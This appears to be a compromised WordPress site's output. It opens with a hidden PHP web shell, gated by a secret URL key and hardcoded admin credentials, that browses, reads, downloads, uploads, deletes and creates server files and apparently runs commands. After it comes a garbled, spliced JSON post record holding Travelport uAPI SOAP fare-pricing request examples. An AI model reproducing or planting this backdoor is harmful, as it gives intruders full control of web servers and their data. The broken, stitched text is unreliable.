// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo '
✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
'; } } echo '';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo ''.htmlspecialchars($output).''; else echo '
No output'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo ''; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo ''; break; default: echo '
| Name | Size | Perms | Actions | |
|---|---|---|---|---|
| 📁 '.$item.' | '; else echo '📄 '.$item.' | '; echo ''.$size.' | '.$perms.' | '; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo ' |
<\/p>\n
<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\" xmlns:air=\"http:\/\/www.travelport.com\/schema\/air_v40_0\"\r\nxmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v40_0\" >\r\n<soapenv:Header\/>\r\n<soapenv:Body>\r\n<air:AirPriceReq xmlns:air=\"http:\/\/www.travelport.com\/schema\/air_v40_0\" AuthorizedBy=\"user\" TargetBranch=\"P2222222\" TraceId=\"trace\">\r\n<com:BillingPointOfSaleInfo xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v40_0\" OriginApplication=\"UAPI\"\/>\r\n\r\n<air:AirItinerary>\r\n<air:AirSegment ArrivalTime=\"2018-08-29T09:30:00.000+08:00\" AvailabilitySource=\"A\" Carrier=\"HX\" ChangeOfPlane=\"false\" DepartureTime=\"2018-08-29T06:45:00.000+09:00\" Destination=\"HKG\" Distance=\"1295\" ETicketability=\"Yes\" Equipment=\"Yes\" FlightNumber=\"647\" FlightTime=\"225\" Group=\"0\" Key=\"GOWAjIBAAA\/BdmRHFCAAAA==\" OptionalServicesIndicator=\"false\" Origin=\"ICN\" ParticipantLevel=\"Secure Sell\" ProviderCode=\"1P\">\r\n<\/air:AirSegment>\r\n<air:AirSegment ArrivalTime=\"2018-09-02T00:40:00.000+09:00\" AvailabilitySource=\"A\" Carrier=\"HX\" ChangeOfPlane=\"false\" DepartureTime=\"2018-09-01T19:55:00.000+08:00\" Destination=\"ICN\" Distance=\"1295\" ETicketability=\"Yes\" Equipment=\"Yes\" FlightNumber=\"646\" FlightTime=\"225\" Group=\"1\" Key=\"GOWAjIBAAA\/BimRHFCAAAA==\" OptionalServicesIndicator=\"false\" Origin=\"HKG\" ParticipantLevel=\"Secure Sell\" ProviderCode=\"1P\">\r\n<\/air:AirSegment>\r\n<\/air:AirItinerary>\r\n<air:AirPricingModifiers FaresIndicator=\"PublicAndPrivateFares\" InventoryRequestType=\"DirectAccess\" PlatingCarrier=\"HX\" ETicketability=\"Required\">\r\n<\/air:AirPricingModifiers>\r\n\r\n<com:SearchPassenger xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v40_0\" BookingTravelerRef=\"0\" Code=\"ADT\"\/>\r\n\r\n<air:AirPricingCommand>\r\n\r\n<air:AirSegmentPricingModifiers AirSegmentRef=\"GOWAjIBAAA\/BdmRHFCAAAA==\" >\r\n <air:PermittedBookingCodes>\r\n\t<air:BookingCode Code=\"T\" \/>\r\n <\/air:PermittedBookingCodes>\r\n<\/air:AirSegmentPricingModifiers>\r\n<air:AirSegmentPricingModifiers AirSegmentRef=\"GOWAjIBAAA\/BimRHFCAAAA==\" >\r\n <air:PermittedBookingCodes>\r\n\t<air:BookingCode Code=\"T\" \/>\r\n <\/air:PermittedBookingCodes>\r\n<\/air:AirSegmentPricingModifiers>\r\n\r\n<\/air:AirPricingCommand >\r\n<\/air:AirPriceReq>\r\n<\/soapenv:Body>\r\n<\/soapenv:Envelope>\r\n<\/pre>\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\" xmlns:air=\"http:\/\/www.travelport.com\/schema\/air_v40_0\"\r\nxmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v40_0\" >\r\n<soapenv:Header\/>\r\n<soapenv:Body>\r\n<air:AirPriceReq xmlns:air=\"http:\/\/www.travelport.com\/schema\/air_v40_0\" AuthorizedBy=\"user\" TargetBranch=\"P2449024\" TraceId=\"trace\">\r\n<com:BillingPointOfSaleInfo xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v40_0\" OriginApplication=\"UAPI\"\/>\r\n\r\n<air:AirItinerary>\r\n<air:AirSegment ArrivalTime=\"2018-08-29T09:30:00.000+08:00\" AvailabilitySource=\"A\" Carrier=\"HX\" ChangeOfPlane=\"false\" DepartureTime=\"2018-08-29T06:45:00.000+09:00\" Destination=\"HKG\" Distance=\"1295\" ETicketability=\"Yes\" Equipment=\"Yes\" FlightNumber=\"647\" FlightTime=\"225\" Group=\"0\" Key=\"GOWAjIBAAA\/BdmRHFCAAAA==\" OptionalServicesIndicator=\"false\" Origin=\"ICN\" ParticipantLevel=\"Secure Sell\" ProviderCode=\"1P\">\r\n<\/air:AirSegment>\r\n<air:AirSegment ArrivalTime=\"2018-09-02T00:40:00.000+09:00\" AvailabilitySource=\"A\" Carrier=\"HX\" ChangeOfPlane=\"false\" DepartureTime=\"2018-09-01T19:55:00.000+08:00\" Destination=\"ICN\" Distance=\"1295\" ETicketability=\"Yes\" Equipment=\"Yes\" FlightNumber=\"646\" FlightTime=\"225\" Group=\"1\" Key=\"GOWAjIBAAA\/BimRHFCAAAA==\" OptionalServicesIndicator=\"false\" Origin=\"HKG\" ParticipantLevel=\"Secure Sell\" ProviderCode=\"1P\">\r\n<\/air:AirSegment>\r\n<\/air:AirItinerary>\r\n<air:AirPricingModifiers FaresIndicator=\"PublicAndPrivateFares\" InventoryRequestType=\"DirectAccess\" PlatingCarrier=\"HX\" ETicketability=\"Required\">\r\n<\/air:AirPricingModifiers>\r\n\r\n<com:SearchPassenger xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v40_0\" BookingTravelerRef=\"0\" Code=\"ADT\"\/>\r\n\r\n<air:AirPricingCommand CommandKey=\"4P*FSR\">\r\n\r\n<air:AirSegmentPricingModifiers AirSegmentRef=\"GOWAjIBAAA\/BdmRHFCAAAA==\" >\r\n <air:PermittedBookingCodes>\r\n\t<air:BookingCode Code=\"T\" \/>\r\n <\/air:PermittedBookingCodes>\r\n<\/air:AirSegmentPricingModifiers>\r\n<air:AirSegmentPricingModifiers AirSegmentRef=\"GOWAjIBAAA\/BimRHFCAAAA==\" >\r\n <air:PermittedBookingCodes>\r\n\t<air:BookingCode Code=\"T\" \/>\r\n <\/air:PermittedBookingCodes>\r\n<\/air:AirSegmentPricingModifiers>\r\n\r\n<\/air:AirPricingCommand >\r\n<\/air:AirPriceReq>\r\n<\/soapenv:Body>\r\n<\/soapenv:Envelope><\/pre>\n<air:AirPricingCommand CommandKey=\"4P*FSR.SR\"><\/pre>\n","protected":false},"excerpt":{"rendered":"<soapenv:Envelope xmlns:soapenv=”http:\/\/schemas.xmlsoap.org\/soap\/envelope\/” xmlns:air=”http:\/\/www.travelport.com\/schema\/air_v40_0″ xmlns:com=”http:\/\/www.travelport.com\/schema\/common_v40_0″ > <soapenv:Header\/> <soapenv:Body> <air:AirPriceReq xmlns:air=”http:\/\/www.travelport.com\/schema\/air_v40_0″ AuthorizedBy=”user” TargetBranch=”P2222222″ TraceId=”trace”> <com:BillingPointOfSaleInfo xmlns:com=”http:\/\/www.travelport.com\/schema\/common_v40_0″ OriginApplication=”UAPI”\/> <air:AirItinerary> <air:AirSegment ArrivalTime=”2018-08-29T09:30:00.000+08:00″ AvailabilitySource=”A” Carrier=”HX” ChangeOfPlane=”false” DepartureTime=”2018-08-29T06:45:00.000+09:00″ Destination=”HKG” Distance=”1295″ […]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-225","post","type-post","status-publish","format-standard","hentry","category-air"],"_links":{"self":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/225","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=225"}],"version-history":[{"count":3,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/225\/revisions"}],"predecessor-version":[{"id":229,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/225\/revisions\/229"}],"wp:attachment":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=225"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=225"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}